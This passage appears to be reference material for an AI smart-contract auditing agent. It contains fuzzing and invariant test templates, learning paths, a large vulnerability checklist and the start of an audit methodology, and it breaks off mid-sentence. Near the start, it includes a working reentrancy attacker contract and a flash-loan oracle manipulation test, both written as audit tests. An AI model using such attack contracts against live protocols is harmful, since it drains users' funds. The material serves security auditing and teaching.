Vectors ```solidity // Test: Can flash loan manipulate oracle price? function test_oracle_manipulation() public { uint256 priceBefore = oracle.getPrice(token); // Simulate flash loan: massive swap to move price vm.prank(attacker); router.swap(address(token), address(usdc), flashLoanAmount, 0, block.timestamp); uint256 priceAfter = oracle.getPrice(token); // Oracle price should NOT change dramatically in one block assertApproxEqRel(priceAfter, priceBefore, 0.05e18, "Oracle manipulable!"); } ``` ### Reentrancy Drain Vectors ```solidity // Test: Can reentrancy drain funds? contract ReentrancyAttacker { uint256 public attackCount; function attack(IVault vault) external { vault.deposit{value: 1 ether}(1 ether, address(this)); vault.withdraw(1 ether, address(this), address(this)); } receive() external payable { if (attackCount < 5) { attackCount++; IVault(msg.sender).withdraw(1 ether, address(this), address(this)); } } } ``` --- ## Echidna Configuration Template ```yaml # echidna.config.yaml testMode: assertion testLimit: 100000 seqLen: 100 corpusDir: corpus deployer: "0x1000000000000000000000000000000000000000" sender: ["0x2000000000000000000000000000000000000000", "0x3000000000000000000000000000000000000000"] balanceAddr: 0xffffffff balanceContract: 0xffffffff shrinkLimit: 5000 ``` ## Foundry Invariant Test Template ```solidity contract InvariantTest is Test { Handler handler; function setUp() public { // Deploy protocol // Deploy handler that wraps protocol calls handler = new Handler(protocol); targetContract(address(handler)); } // SAFETY: Solvency function invariant_solvency() public { assertGe(vault.totalAssets(), vault.totalSupply()); } // SAFETY: Balance consistency function invariant_balance_consistency() public { assertEq(handler.ghost_totalDeposited() - handler.ghost_totalWithdrawn(), token.balanceOf(address(vault))); } // ECONOMIC: No free lunch function invariant_no_free_lunch() public { assertLe(handler.ghost_totalWithdrawn(), handler.ghost_totalDeposited() + handler.ghost_totalYield()); } } ``` ## references/learning-paths.md # VeerSkills Learning Paths This document outlines structured curricula for developing smart contract auditing expertise, from beginner to advanced levels. --- ## 1. Beginner Path: Foundation (20-30 Hours) **Prerequisites:** Basic programming knowledge, understanding of blockchain fundamentals. **Phase 1: Solidity Mechanics** 1. Read the Solidity Documentation (focus: types, visibility, modifiers, memory vs storage). 2. Complete CryptoZombies or Speed Run Ethereum. 3. Understand the EVM execution model (Stack, Memory, Storage, Calldata). **Phase 2: Common Vulnerabilities (The Classics)** 1. Study `reentrancy.md` (Read: The DAO case study). 2. Study `access-control.md` (Read: Parity Multisig hack). 3. Study `integer-overflow.md` (Understand SafeMath and Solidity ^0.8.0 native checks). 4. Review Unchecked Return Values and `tx.origin` vs `msg.sender`. **Phase 3: Basic Tooling & First Steps** 1. Learn to run basic static analysis: Slither and Aderyn. 2. Read 5 past audit reports from top firms (Spearbit, Consensys, Trail of Bits) on *simple* protocols. 3. Attempt Ethernaut (OpenZeppelin) levels 1-10. --- ## 2. Intermediate Path: DeFi Architecture (40-60 Hours) **Prerequisites:** Completion of Beginner Path, ability to write and deploy basic smart contracts. **Phase 1: DeFi Primitives** 1. Deep dive into AMMs: Read the Uniswap V2 Whitepaper. Understand `x * y = k` math. 2. Deep dive into Lending: Study Aave V2/V3 architecture (eTokens, debtTokens, Interest Rate Models). 3. Deep dive into Vaults: Study the ERC4626 standard and Yearn V2 architecture. **Phase 2: Advanced Attack Vectors** 1. Study `oracle-manipulation.md` (Read `anti-patterns-library.md` Anti-Pattern 1.A/1.B). 2. Study Flash Loan attack mechanics (Read Euler and Beanstalk case studies). 3. Understand Precision Loss, Rounding Erasures, and Dust Accumulation (`precision-loss.md`). 4. Master Read-Only Reentrancy and Cross-Contract execution flows. **Phase 3: Deep Tooling & Fuzzing** 1. Transition from Hardhat/Truffle to Foundry. 2. Write Foundry PoCs (Proof of Concepts) strictly in Solidity. 3. Learn Property-Based Fuzzing (Foundry `forge test --fuzz`). Define invariants. 4. Attempt older Code4rena or Sherlock contests in a local environment. --- ## 3. Advanced Path: The Edge (100+ Hours) **Prerequisites:** Consistent bug-finding in actual codebases, mastery of Foundry and DeFi primitives. **Phase 1: Complex System Synergies** 1. Study Bridge Architectures (Read `protocol-playbooks.md` LayerZero). Analyze Ronin/Wormhole forensics. 2. Cross-Chain Messaging MEV and Gas Grieving. 3. Layer 2 specific risks (Sequencer downtime, Arbitrum/Optimism L1-to-L2 bridging delays). 4. Advanced Cryptography flaws (Signature Malleability, ECDSA recovery manipulation). **Phase 2: Economic & Game Theory Attacks** 1. Liquidation manipulation (Self-liquidation loops, liquidation DOS). 2. Governance attacks (Flash loan voting, proposal execution hijacking). 3. Incentive misalignment (Yield farming reward dilution). **Phase 3: Expert Methodologies** 1. Invariant mapping for complete systems (Echidna/Medusa). 2. Formal Verification basics (Halmos, Certora). 3. Yul / EVM Assembly profiling and exploitation. 4. Read Vyper-specific vulnerabilities (e.g., the nonReentrant lock failure). ## references/master-checklist.md # VeerSkills Master Vulnerability Checklist Comprehensive checklist distilled from **50,530+ real audit findings**, Cyfrin MCP (`mcp__sc-auditor__get_checklist`), Solodit/Claudit, Secureum, Quillhash, and community databases. > **Severity Weighting (Based on 50K+ Findings):** > 1. **Access Control** (Highest probability, highest impact) > 2. **Reentrancy** ($2B+ historical losses) > 3. **Oracle Manipulation** (Most common DeFi fatal flaw) > 4. **Arithmetic & Precision** (Frequent High/Med severity) > 5. **Token Integration** (Fee-on-transfer, callbacks) > **Usage**: This is the MASTER checklist. The agent sweeps ALL applicable items per function during Phase 3 (HUNT). Items are grouped by vulnerability class with Cyfrin MCP IDs where available, enabling `mcp__sc-auditor__get_checklist` cross-reference. Check XREF.md for links to concrete exploit forensics for these classes. --- ## 1. REENTRANCY (RE) ### 1.1 Classic Reentrancy - [ ] **RE-01**: State change AFTER external call? (CEI violation) `[SOL-AM-ReentrancyAttack-2]` - [ ] **RE-02**: `nonReentrant` modifier on ALL entry points that touch balances? - [ ] **RE-03**: Cross-function reentrancy via shared state between functions? - [ ] **RE-04**: Cross-contract reentrancy via callbacks to OTHER contracts? ### 1.2 Read-Only Reentrancy - [ ] **RE-05**: View functions readable during mid-execution inconsistent state? `[SOL-AM-ReentrancyAttack-1]` - [ ] **RE-06**: Other protocols reading stale/inconsistent view values during callback? - [ ] **RE-07**: Reentrancy guard extended to view functions relied on by external protocols? ### 1.3 Callback Reentrancy - [ ] **RE-08**: ERC-777 `tokensReceived` hook callbacks during transfer? - [ ] **RE-09**: ERC-721 `onERC721Received` callbacks during safeTransfer? - [ ] **RE-10**: ERC-1155 `onERC1155Received` callbacks during safeTransfer? - [ ] **RE-11**: Flash loan callback re-entering the protocol? - [ ] **RE-12**: Uniswap/AMM swap callbacks re-entering? --- ## 2. ACCESS CONTROL (AC) ### 2.1 Missing Controls - [ ] **AC-01**: All actors and interactions identified? `[SOL-Basics-AC-1]` - [ ] **AC-02**: Functions lacking proper access controls? `[SOL-Basics-AC-2]` - [ ] **AC-03**: Parent contract public functions exposed without override? `[SOL-Basics-AC-6]` - [ ] **AC-04**: `tx.origin` used instead of `msg.sender`? `[SOL-Basics-AC-7]` ### 2.2 Privilege Management - [ ] **AC-05**: Two-step ownership transfer implemented? `[SOL-Basics-AC-4]` - [ ] **AC-06**: Protocol functions correctly during privilege transfer? `[SOL-Basics-AC-5]` - [ ] **AC-07**: Admin can pull user assets directly? (rug pull risk) `[SOL-AM-RP-1]` - [ ] **AC-08**: Missing role-based access for sensitive operations? ### 2.3 Initialization - [ ] **AC-09**: `initializer` vs `onlyInitializing` used correctly? `[SOL-Basics-Initialization-2]` - [ ] **AC-10**: Initializer front-runnable after deployment? `[SOL-Basics-Initialization-3]` - [ ] **AC-11**: Implementation contract initialized (vs proxy only)? `[SP-20]` - [ ] **AC-12**: Important state variables properly initialized? `[SOL-Basics-Initialization-1]` --- ## 3. ARITHMETIC & PRECISION (AR) ### 3.1 Math Errors - [ ] **AR-01**: Division before multiplication? (precision loss) `[SOL-Basics-Math-4]` - [ ] **AR-02**: Rounding direction correct? (in favor of protocol) `[SOL-Basics-Math-5]` - [ ] **AR-03**: Division by zero possible? `[SOL-Basics-Math-6]` - [ ] **AR-04**: `unchecked{}` blocks verified safe? `[SOL-Basics-Math-9]` - [ ] **AR-05**: Off-by-one errors in `<` vs `<=`? `[SOL-Basics-Math-10]` - [ ] **AR-06**: Inline assembly math doesn't revert on overflow/division-by-zero? `[SOL-Basics-Math-11]` - [ ] **AR-07**: Min/max boundary values produce correct results? `[SOL-Basics-Math-12]` - [ ] **AR-08**: Negative value assigned to unsigned integer? `[SOL-Basics-Math-8]` ### 3.2 Precision & Decimals - [ ] **AR-09**: Token decimal mismatch between tokens (6 vs 18)? `[Solodit: Decimals]` - [ ] **AR-10**: `1 day` expressions cast to `uint24` causing overflow? `[SOL-Basics-Math-3]` - [ ] **AR-11**: Precision loss in time calculations? `[SOL-Basics-Math-2]` - [ ] **AR-12**: Summing vs individual calculations diverge? `[SOL-Basics-AL-6]` - [ ] **AR-13**: Low decimal tokens (e.g., USDC with 6) causing rounding to zero? `[SOL-AM-DOSA-5]` --- ## 4. ORACLE & PRICE FEED (OR) ### 4.1 Price Manipulation - [ ] **OR-01**: Price calculated from token balance ratio? (donation/flash loan attack) `[SOL-AM-PMA-1]` - [ ] **OR-02**: Spot price from DEX used as oracle? (flash loan manipulable) `[SOL-AM-PMA-2]` - [ ] **OR-03**: AMM spot price used instead of TWAP/external oracle? `[D3]` - [ ] **OR-04**: LP token virtual price used without protection? ### 4.2 Oracle Configuration - [ ] **OR-05**: Stale price check missing? (Chainlink `updatedAt` check) `[Solodit: Stale Price]` - [ ] **OR-06**: Chainlink `latestRoundData()` return values validated? (price > 0, timestamp recent) - [ ] **OR-07**: Chainlink oracle revert causes DoS? `[SOL-AM-DOSA-6]` - [ ] **OR-08**: Multiple oracle fallback if primary fails? - [ ] **OR-09**: Oracle decimals handled correctly across different feeds? - [ ] **OR-10**: Sequencer uptime check for L2s? (Arbitrum/Optimism) --- ## 5. DENIAL OF SERVICE (DO) ### 5.1 Gas Exhaustion - [ ] **DO-01**: Unbounded loops iterating over user-controlled arrays? `[SOL-Basics-AL-9]` - [ ] **DO-02**: External call in loop causing DoS if one fails? `[SOL-Basics-AL-10]` - [ ] **DO-03**: `msg.value` reused inside loops? `[SOL-Basics-AL-11]` - [ ] **DO-04**: Queue processing exploitable with dust entries? `[SOL-AM-DOSA-4]` ### 5.2 Revert-Based DoS - [ ] **DO-05**: Pull pattern used for withdrawals? (not push) `[SOL-AM-DOSA-1]` - [ ] **DO-06**: Minimum transaction amount enforced? `[SOL-AM-DOSA-2]` - [ ] **DO-07**: Blacklistable tokens (USDC) blocking critical operations? `[SOL-AM-DOSA-3]` - [ ] **DO-08**: ETH `transfer()` limited to 2300 gas — fails with contract receivers? `[SP-9]` - [ ] **DO-09**: Receiver can deny payment via fallback revert? `[SOL-Basics-Payment-1]` ### 5.3 Block Stuffing & Timing - [ ] **DO-10**: Time-sensitive operations exploitable via block stuffing? - [ ] **DO-11**: Block reorganization risks with CREATE opcode? `[SOL-Basics-BR-1]` --- ## 6. FRONT-RUNNING & MEV (FR) ### 6.1 Transaction Ordering - [ ] **FR-01**: Get-or-create patterns front-runnable? `[SOL-AM-FrA-1]` - [ ] **FR-02**: Two-transaction actions front-runnable between calls? `[SOL-AM-FrA-2]` - [ ] **FR-03**: Dust front-running to grief other users? `[SOL-AM-FrA-3]` - [ ] **FR-04**: commit-reveal scheme properly user-bound? `[SOL-AM-FrA-4]` - [ ] **FR-05**: `block.timestamp` manipulation by miners (~15s)? `[SOL-AM-MA-1, SP-13]` - [ ] **FR-06**: Transaction ordering exploitable? `[SOL-AM-MA-3]` ### 6.2 Sandwich Attacks - [ ] **FR-07**: Explicit slippage protection on swaps/deposits? `[SOL-AM-SandwichAttack-1]` - [ ] **FR-08**: Deadline parameter on DeFi interactions? - [ ] **FR-09**: Oracle updates sandwichable? --- ## 7. TOKEN INTERACTION (TI) ### 7.1 ERC20 Edge Cases - [ ] **TI-01**: `SafeERC20` / return value checked for `transfer/transferFrom`? `[V1]` - [ ] **TI-02**: Fee-on-transfer tokens handled? `[D8, Solodit: Fee On Transfer]` - [ ] **TI-03**: Rebasing tokens handled/documented? `[D6]` - [ ] **TI-04**: ERC-777 hook callbacks accounted for? `[D7]` - [ ] **TI-05**: Tokens that return `false` instead of reverting? (non-standard ERC20) - [ ] **TI-06**: Tokens with non-18 decimals handled correctly? `[D9]` - [ ] **TI-07**: Tokens with multiple entry points? (proxy tokens) - [ ] **TI-08**: Pausable tokens that can freeze operations? - [ ] **TI-09**: Blacklistable tokens that can block addresses? (USDC, USDT) - [ ] **TI-10**: Tokens with approval race conditions? `[SP-11]` - [ ] **TI-11**: Missing return value bug (at least 130 tokens affected)? - [ ] **TI-12**: Upgradeable tokens that can change behavior? - [ ] **TI-13**: Flash-mintable tokens that can spike supply? - [ ] **TI-14**: Low-supply tokens where rounding has outsized impact? ### 7.2 Token Accounting - [ ] **TI-15**: Internal accounting vs raw `balanceOf()` mixing? `[D2, SOL-AM-DA-1]` - [ ] **TI-16**: Approval target contracts not making arbitrary calls from user input? `[D11]` - [ ] **TI-17**: `msg.value` vs `amount` parameter mismatch? `[SOL-Basics-Payment-2]` --- ## 8. SIGNATURE & REPLAY (SR) - [ ] **SR-01**: Replay protection for failed transactions? `[SOL-AM-ReplayAttack-1]` - [ ] **SR-02**: Cross-chain replay protection (chain ID in domain separator)? `[SOL-AM-ReplayAttack-2]` - [ ] **SR-03**: `ecrecover` returns `address(0)` — checked? `[SP-12]` - [ ] **SR-04**: Signature malleability (EIP-2 `s` value check)? - [ ] **SR-05**: Nonce-based protection against signature replay? - [ ] **SR-06**: EIP-712 domain separator includes contract address + chain ID? - [ ] **SR-07**: `abi.encodePacked` hash collision with dynamic types? `[SP-7]` --- ## 9. UPGRADE & PROXY (UP) - [ ] **UP-01**: Initializer can only be called once? - [ ] **UP-02**: Storage layout preserved across upgrades? (no slot collision) - [ ] **UP-03**: Implementation contract has `_disableInitializers()` in constructor? - [ ] **UP-04**: UUPS `_authorizeUpgrade()` has access control? - [ ] **UP-05**: Transparent proxy admin is separate from protocol admin? - [ ] **UP-06**: No `selfdestruct` or `delegatecall` in implementation? - [ ] **UP-07**: State variables not reordered/removed between versions? - [ ] **UP-08**: New variables only added at END of storage layout? --- ## 10. COMPOSABILITY & INTEGRATION (CO) ### 10.1 External Calls - [ ] **CO-01**: External contract call actually needed? `[X1]` - [ ] **CO-02**: External call error could cause DoS? `[X2]` - [ ] **CO-03**: External call using all gas? `[X6]` - [ ] **CO-04**: Massive return data causing out-of-gas? `[X7]` - [ ] **CO-05**: `success` check doesn't verify function exists? (phantom functions) `[X8]` ### 10.2 Protocol Integration - [ ] **CO-06**: Flash loan interactions can manipulate protocol state? - [ ] **CO-07**: Cross-contract view reentrancy via price feeds? - [ ] **CO-08**: Composability with unknown tokens (arbitrary ERC20)? - [ ] **CO-09**: Assumptions about external contract behavior documented? `[D1]` --- ## 11. GRIEFING & SYBIL (GS) - [ ] **GS-01**: External state dependency that others can change? `[SOL-AM-GA-1]` - [ ] **GS-02**: Precise gas limit manipulation for execution path control? `[SOL-AM-GA-2]` - [ ] **GS-03**: Sybil attack on user-count-dependent mechanisms? `[SOL-AM-SybilAttack-1]` - [ ] **GS-04**: First depositor / share inflation attack? `[Solodit: First Depositor]` - [ ] **GS-05**: Dust amounts used to grief other users? --- ## 12. DATA HANDLING (DH) ### 12.1 Arrays & Loops - [ ] **DH-01**: First/last iteration edge cases? `[SOL-Basics-AL-1]` - [ ] **DH-02**: Array deletion resetting but not rearranging? `[SOL-Basics-AL-4]` - [ ] **DH-03**: Array index passed as argument stale after modification? `[SOL-Basics-AL-5]` - [ ] **DH-04**: Duplicate items in arrays unchecked? `[SOL-Basics-AL-7]` - [ ] **DH-05**: `break`/`continue` in loop creating edge cases? `[SOL-Basics-AL-13]` - [ ] **DH-06**: Batch transfer dust handling for last element? `[SOL-Basics-AL-12]` ### 12.2 Storage & Mapping - [ ] **DH-07**: Nested structure `delete` not clearing inner fields? `[SOL-Basics-Map-1]` - [ ] **DH-08**: Uninitialized storage pointers? `[SP-2]` - [ ] **DH-09**: Write to arbitrary storage location? - [ ] **DH-10**: Dirty high bits in `msg.data`? `[SP-8]` --- ## 13. CODE QUALITY & COMPILER (CQ) - [ ] **CQ-01**: Events emitted for all state changes? `[SOL-Basics-Event-1, SP-10]` - [ ] **CQ-02**: Function visibility appropriate? (public vs external vs internal) `[SOL-Basics-Function-7]` - [ ] **CQ-03**: Comments match implementation? `[SOL-Basics-Function-4]` - [ ] **CQ-04**: Correct inheritance order (C3 linearization)? `[SP-15]` - [ ] **CQ-05**: Interface fully implemented? `[SOL-Basics-Inheritance-3]` - [ ] **CQ-06**: Locked pragma version? (not floating) - [ ] **CQ-07**: Known compiler bugs for the used version? (check `docs.soliditylang.org/en/latest/bugs.html`) - [ ] **CQ-08**: `selfdestruct` protected? `[SP-6]` - [ ] **CQ-09**: Locked ether — contract receives ETH but no withdrawal? `[SP-4]` - [ ] **CQ-10**: Shadowed state variables? (parent vs child) - [ ] **CQ-11**: Forcibly sent ETH (via selfdestruct/coinbase) handle? (Unexpected balance) --- ## 14. RANDOMNESS (RN) - [ ] **RN-01**: `block.timestamp`/`blockhash`/`block.difficulty` as randomness source? `[SOL-AM-MA-2]` - [ ] **RN-02**: Chainlink VRF or commit-reveal used instead? - [ ] **RN-03**: VRF callback secured against unauthorized callers? - [ ] **RN-04**: Randomness seed predictable or manipulable by miners? --- ## 15. GOVERNANCE & VOTING (GV) - [ ] **GV-01**: Flash loan voting power acquisition? (snapshot-based voting required) `[Solodit: Vote]` - [ ] **GV-02**: Voting power double-counted via delegation transfer? - [ ] **GV-03**: Proposal execution can revert and block queue? - [ ] **GV-04**: Timelock between approval and execution? - [ ] **GV-05**: Governance parameters bounded to safe ranges? --- ## 16. FLASH LOAN (FL) - [ ] **FL-01**: Protocol state manipulable via flash loans? `[Solodit: Flash Loan]` - [ ] **FL-02**: Checkpoint/snapshot manipulation via flash-borrow? - [ ] **FL-03**: Share price inflatable via flash loan + donation? - [ ] **FL-04**: Liquidation threshold gameable via flash loan? - [ ] **FL-05**: Flash loan fee correctly enforced on repayment? --- ## 17. ERC4626 VAULT (VT) *Sources: devdacian ERC4626 primer (366+ vulns), OpenZeppelin inflation defense, paragraph.com vault bugs, Cyfrin `Vault` category* ### 17.1 Share/Asset Accounting - [ ] **VT-01**: First depositor / share inflation attack mitigated? (virtual shares/offset) `[Solodit: First Depositor Issue]` - [ ] **VT-02**: Deposit/withdraw rounding direction correct? (deposit rounds UP, withdraw rounds DOWN — favors protocol) - [ ] **VT-03**: `totalAssets()` includes all protocol-managed assets (staked, lent, pending rewards)? - [ ] **VT-04**: Share price manipulable via direct token donation to vault? `[Solodit: ERC4626]` - [ ] **VT-05**: Zero-share minting possible from positive deposits (dust)? ### 17.2 Vault Operations - [ ] **VT-06**: `maxDeposit`, `maxMint`, `maxWithdraw`, `maxRedeem` correctly implemented per EIP-4626? - [ ] **VT-07**: Preview functions (`previewDeposit`, `previewRedeem`) match actual execution within 1 wei? - [ ] **VT-08**: Vault decimals >= underlying asset decimals? (precision loss otherwise) - [ ] **VT-09**: Fee-on-transfer tokens cause accounting mismatch in vault deposits? - [ ] **VT-10**: Strategy return value confusion (assets returned vs shares minted)? ### 17.3 Yield & Reward - [ ] **VT-11**: Reward calculation updated before state changes (claim before transfer)? - [ ] **VT-12**: Reward rate dilutable by attacker depositing before distribution? - [ ] **VT-13**: Compounding interest calculation includes accrued but unclaimed interest? - [ ] **VT-14**: Yield position liquidation bypassable by partial position manipulation? --- ## 18. NFT & ERC721 (NF) *Sources: Quillhash NFT-Attack-Vectors (25), 0xvolodya NFT attacks, electisec ERC721* - [ ] **NF-01**: `tokenId` uniqueness guaranteed? (formula-based IDs can collide) - [ ] **NF-02**: `safeMint` / `safeTransfer` callbacks checked for reentrancy? - [ ] **NF-03**: Royalty bypass via custom marketplace or `transferFrom` (skipping `safeTransferFrom`)? - [ ] **NF-04**: Unlimited approval on NFT marketplace contract exploitable? - [ ] **NF-05**: Metadata URI manipulation (off-chain metadata can be changed post-mint)? - [ ] **NF-06**: ERC721 enumerable gas DoS with large collections? - [ ] **NF-07**: Lazy minting price manipulation (front-running mint transaction)? - [ ] **NF-08**: Airdrop/free-mint Sybil attack via multiple wallets? --- ## 19. BRIDGE & CROSS-CHAIN (BR) *Sources: Quillhash Cross-chain-Attacks, OfficerCIA bridge blog, electisec, secureum* - [ ] **BR-01**: Message replay across chains (chain ID + nonce in message hash)? - [ ] **BR-02**: Source chain validation — only accepted bridge contract can submit messages? - [ ] **BR-03**: Token accounting mismatch between source and destination chains? - [ ] **BR-04**: Bridge relayer can censor or reorder messages? - [ ] **BR-05**: Finality assumptions — source chain reorg after destination processes message? - [ ] **BR-06**: Fee token different on each chain — fee calculation errors? - [ ] **BR-07**: Wrapped asset depeg risk when bridge pauses/fails? --- ## 20. COMPOUND FORKS (CF) *Sources: electisec CommonWeb3SecurityIssues, Cyfrin `Liquidation` category* - [ ] **CF-01**: Compound CEI violation — callback tokens (ERC777/721) re-enter during interest accrual? - [ ] **CF-02**: Non-whitelisted tokens with fee-on-transfer breaking accounting? - [ ] **CF-03**: cToken exchange rate manipulable via direct transfer to market? - [ ] **CF-04**: Liquidation incentive calculation correct for edge cases (100% liquidation)? - [ ] **CF-05**: Interest rate model jumps exploitable at utilization boundaries? --- ## 21. DEFI-SPECIFIC PATTERNS (DF) *Sources: 0xprinc checks-while-hacks, Quillhash DeFi-Attack-Vectors, dacian.me, samczsun oracle* ### 21.1 Swap & Liquidity - [ ] **DF-01**: One-sided swap before LP deposit leaves dust due to price impact? - [ ] **DF-02**: Swap deadline set to `block.timestamp` provides no protection? - [ ] **DF-03**: Expected swap output calculated from stale or manipulable data? ### 21.2 Staking & Rewards - [ ] **DF-04**: Reward distribution denominator include inactive/exited stakes? - [ ] **DF-05**: Staking reward accrual timing — rewards lost during transfer/unstake? - [ ] **DF-06**: Minimum deposit enforced to prevent zero-amount privilege? ### 21.3 Liquidation - [ ] **DF-07**: Liquidation penalty correctly applied to seized collateral? `[dacian.me]` - [ ] **DF-08**: Self-liquidation possible to extract protocol incentives? `[dacian.me]` - [ ] **DF-09**: Bad debt handling — who absorbs losses when collateral < debt? `[dacian.me]` - [ ] **DF-10**: Liquidation DoS — can borrower front-run liquidation to block it? `[dacian.me]` --- ## MCP Integration Map ### `mcp__sc-auditor__get_checklist` The Cyfrin checklist provides **200+ items** across categories. During Phase 3, call: ``` mcp__sc-auditor__get_checklist({category: ""}) ``` Key categories: `Denial-Of-Service(DOS) Attack`, `Front-running Attack`, `Reentrancy Attack`, `Price Manipulation Attack`, `Sandwich Attack`, `Sybil Attack`, `Replay Attack`, `Griefing Attack`, `Donation Attack`, `Access Control`, `Math`, `Array / Loop`, `Payment`, `Initialization`, `Inheritance`, `Block Reorganization`, `Map`, `Event`, `Function`, `ERC20`, `ERC721`, `Staking`, `Swap`, `Oracle`, `Liquidation`, `Bridge`, `Governor`, `Vault` ### `mcp__claudit__search_findings` Solodit has **48,000+ findings**. Search by vulnerability tag for real-world examples: ``` mcp__claudit__search_findings({keywords: "", severity: ["HIGH"], tags: [""]}) ``` Top tags: `Business Logic`, `Validation`, `Wrong Math`, `Front-Running`, `DOS`, `Fee On Transfer`, `Oracle`, `Reentrancy`, `Access Control`, `Decimals`, `Liquidation`, `Overflow/Underflow`, `Slippage`, `Rounding`, `Stale Price`, `ERC4626`, `First Depositor Issue`, `Flash Loan`, `Weird ERC20`, `Fund Lock`, `Vote` ### `mcp__claudit__get_finding` For detailed PoC and mitigation of a specific finding: ``` mcp__claudit__get_finding({identifier: ""}) ``` ### Deduplication Note `mcp__sc-auditor__search_findings` and `mcp__claudit__search_findings` BOTH query Solodit but with different features: - **Use `claudit`** for: advanced filters (quality_score, rarity_score, protocol_category, firm, finders count), detailed content, pagination - **Use `sc-auditor`** for: quick searches with severity filter, simpler interface - **Recommendation**: Use `claudit` as primary, `sc-auditor` as fallback --- ## 22. PERMIT & EIP-2612 (PM) *Sources: OpenZeppelin advisories, Code4rena/Sherlock 2024-2025 permit-related findings* - [ ] **PM-01**: Permit signature includes `msg.sender` binding? (prevent front-running proof reuse) - [ ] **PM-02**: Permit deadline reasonable? (not `type(uint256).max` — leaked sig = permanent drain) - [ ] **PM-03**: Permit nonce correctly incremented on use? (replay prevention) - [ ] **PM-04**: `try/catch` around `permit()` call? (front-running griefing DoS protection) - [ ] **PM-05**: Domain separator includes `address(this)` + `block.chainid`? (cross-chain + cross-contract replay) - [ ] **PM-06**: Permit2 allowance inheritance checked? (Protocol A approval ≠ Protocol B authorization) - [ ] **PM-07**: Permit used with non-standard tokens that don't support EIP-2612? --- ## 23. TIMELOCK & DELAY (TL) *Sources: Compound Governor, OpenZeppelin TimelockController, real governance attacks* - [ ] **TL-01**: Timelock present on all privileged operations? (upgrade, oracle change, fee change) - [ ] **TL-02**: Timelock duration sufficient? (≥ 24h for admin, ≥ 48h for upgrades) - [ ] **TL-03**: Timelock bypasable via emergency function without proper safeguards? - [ ] **TL-04**: Queue poisoning — can attacker fill queue with junk proposals blocking legitimate ones? - [ ] **TL-05**: Timelock cancel function has proper access control? (prevent admin from canceling after reveal) - [ ] **TL-06**: Delay manipulation — can admin set delay to 0 and immediately execute? --- ## 24. MULTI-TOKEN ACCOUNTING (MT) *Sources: Curve Finance, Balancer, Aave V3 multi-collateral, contest findings* - [ ] **MT-01**: Per-token decimal normalization in ALL cross-token operations? (6 vs 8 vs 18) - [ ] **MT-02**: Fee-on-transfer tokens in multi-token pools handled with balance-before-after? - [ ] **MT-03**: Rebasing tokens in multi-asset pools — share computation stable after rebase? - [ ] **MT-04**: Pool share invariant: `sum(token_values) >= total_shares * share_price`? - [ ] **MT-05**: Rounding in multi-token operations compounds favorably for protocol? - [ ] **MT-06**: Token addition/removal from pool doesn't break existing accounting? --- ## 25. ACCOUNT ABSTRACTION (AA) *Sources: ERC-4337, ERC-7579, Biconomy, Safe Smart Account, contest findings* - [ ] **AA-01**: `validateUserOp` restricts `msg.sender == entryPoint`? `[V150]` - [ ] **AA-02**: Validation-phase banned opcodes avoided? (`block.timestamp`, `block.number`, etc.) `[V100]` - [ ] **AA-03**: UserOp nonce validated per key channel? (no cross-channel nonce bypass) - [ ] **AA-04**: Paymaster prefund includes unused-gas penalty? `[V108]` - [ ] **AA-05**: Paymaster token payment not deferred to `postOp` without escrow? `[V122]` - [ ] **AA-06**: UserOp signature bound to nonce and chainId? `[V21]` - [ ] **AA-07**: Module/plugin installation gated by owner? (no unauthorized module injection) - [ ] **AA-08**: Execution-phase reentrancy into wallet protected? (callback → re-enter wallet) ## references/nemesis-convergence.md # VeerSkills Nemesis Convergence Loop _Language-agnostic iterative dual-agent audit methodology adapted from Nemesis. Identifies deep logic bugs and structural desyncs across Solidity, Rust, Move, Python, Go, and TypeScript. Used in **beast mode** for maximum bug coverage._ --- ## Overview The Nemesis Convergence Loop alternates between two complementary audit perspectives up to a maximum of 6 passes until no new findings emerge. Each perspective catches bugs the other misses. Feynman finds logic bugs; State Auditor finds structural desyncs. Together in a loop, they cross-feed and converge on bugs neither could find solo. ``` PASS 1: Feynman Auditor (full run) Questions every line. Exposes assumptions. Flags suspects. | feed forward | PASS 2: State Inconsistency Auditor (full run, enriched by Pass 1) Maps coupled state. Finds mutation gaps. Uses Feynman suspects as targets. | feed forward | PASS 3+: Alternating targeted passes until convergence Each pass interrogates the previous pass's new findings. Convergence: 2 consecutive passes with zero new findings. Hard limit: 6 passes maximum. ``` --- ## Pass 1: Feynman Auditor **Core technique**: Explain every code choice as if teaching a student. When you cannot explain WHY something is done a certain way, you have found a potential bug. ### Per-Function Questioning Protocol For each function, ask these 7 questions: 1. **"Why is this ordering chosen?"** — Could any two operations be swapped safely? If swapping causes a different outcome, is the current order correct? 2. **"Why is this guard present?"** — What specific attack does this `require`/modifier prevent? Can I bypass the guard through a different entry point? 3. **"Why is this guard ABSENT?"** — What would happen if an attacker supplied unexpected values? Zero, max uint, msg.sender == address(0), empty bytes? 4. **"What if I call this function when the system is in state X?"** — For each reachable system state (paused, mid-liquidation, during rebalance, during flash loan callback), does this function behave correctly? 5. **"Who else reads/writes this state variable?"** — Trace ALL other functions that touch the same storage slot. Is there a window where the value is stale or inconsistent? 6. **"What does the caller assume about the return value?"** — Does every caller handle all possible return cases (zero, max, revert, empty)? 7. **"What would happen if this external call reverts/returns garbage?"** — Is there error handling? Does the contract end up in an inconsistent state? ### Feynman Output Format For each suspicious answer: ``` [FQ-{N}] "{question asked}" → {what the answer reveals} ├── Location: {file}:{line} ├── Concern: {specific worry, e.g. "state not updated before external call"} ├── Hypothesis: {what bug this could be} └── Priority: {High / Medium / Low to investigate} ``` --- ## Pass 2: State Inconsistency Auditor **Core technique**: Map every coupled state pair in the system. Find every mutation path where one side updates without the other. ### Step 2.1: Build State Coupling Map For every state variable, identify ALL variables it is **coupled to** (invariant relationship): ``` ┌─────────────────┬───────────────────────┬──────────────────────┐ │ Variable A │ Variable B │ Invariant │ ├─────────────────┼───────────────────────┼──────────────────────┤ │ totalSupply │ sum(balances[*]) │ A == B always │ │ totalBorrowed │ sum(debts[*]) │ A == B always │ │ totalShares │ sum(shares[*]) │ A == B always │ │ collateralValue │ sum(collateral[*]) │ A >= B always │ │ lastRewardTime │ rewardPerToken │ A changes → B must │ │ price │ healthFactor │ A changes → B stale │ └─────────────────┴───────────────────────┴──────────────────────┘ ``` ### Step 2.2: Trace ALL Mutation Paths For each coupled pair (A, B): 1. Find ALL functions that modify A 2. For each: does it also modify B? If not → **GAP** 3. Find ALL functions that modify B 4. For each: does it also modify A? If not → **GAP** 5. Check: is there a window between A and B updates where the invariant is violated and an external call or read happens? ### Step 2.3: Cross-Feed from Feynman Use Feynman suspects as **targeted starting 